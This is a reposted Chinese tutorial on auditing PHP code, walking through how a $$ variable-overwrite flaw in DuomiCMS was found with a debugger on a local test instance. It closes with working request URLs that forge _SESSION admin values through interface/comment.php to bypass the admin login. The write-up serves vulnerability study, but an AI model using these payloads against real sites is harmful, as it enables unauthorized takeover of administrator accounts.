php代码审计 -动态调试-变量覆盖挖掘
动态调试-变量覆盖挖掘
搜索关键字$$挖掘
看懂下面执行就明白变量覆盖的定义了
多米cms 变量覆盖导致未授权登录后台
https://down10.zol.com.cn/20190909/151117414994564.zip
搜索$$
来到duomiphp/common.php文件
在$$存在的这行打上断点
访问url:http://127.0.0.1:8091/search.php?searchword=qdy
$_request = "_GET"
$$_request = $_GET
//而收到的ge请求searchword参数就变成了变量$$_request的值也就是$_k的值
发现
$$_request是一个数组,那么var_dump一下
这里的就是循环$$_request
键值分别复制给$_k 和 $_v
下一步寻找可利用的点,比如鉴权的地方,判定某个变量必须等于某个值,我们就可以使得变量覆盖导致未授权
寻找包含了这个文件的文件
发现有个login.php看起来是涉及登录的文件,应该可以利用
打开admin/login.php文件,发现同时包含了check.admin.php的文件,可能是鉴权文件
打下断点,不断跟踪代码,发现登录检测代码段
要想成功到达成功登录,必须经过4个if
访问/admin
断点发现变量$dopost居然为空,那么利用变量覆盖漏洞更改
变量覆盖dopost变量
http://127.0.0.1:8091/admin/login.php?dopost=login
成功
防止进入验证码错误的代码段,必须使得 s v a l i = = svali== svali==validate
上面代码可以看出来svali会被重新赋值,而validate可以变量覆盖,所以得根据以下代码构造validate
$svali = strtolower(GetCkVdValue());
只是判断是否设置了
$_SESSION[‘duomi_ckstr’]
若设置了,则返回$_SESSION[‘duomi_ckstr’]
先动态调试登录admin成功的session的生成代码
发现好像和uid、gid等有关
以下是admin用户的session
数据库内
那么直接构造url
_SESSION[duomi_ckstr]=abcd&_SESSION[duomi_ckstr_last]=&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin
但是需要找到session_start()代码在包含/duomiphp/common.php文件前的文件
因为session_start()会重新覆盖session值
找到interface/comment.php文件是这样,构造url生成session:
http://127.0.0.1:8091/interface/comment.php?_SESSION[duomi_ckstr]=abcd&_SESSION[duomi_ckstr_last]=&_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin
再访问需要鉴权的网页/admin
成功登录
原文地址:https://blog.csdn.net/weixin_67289581/article/details/143897990
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!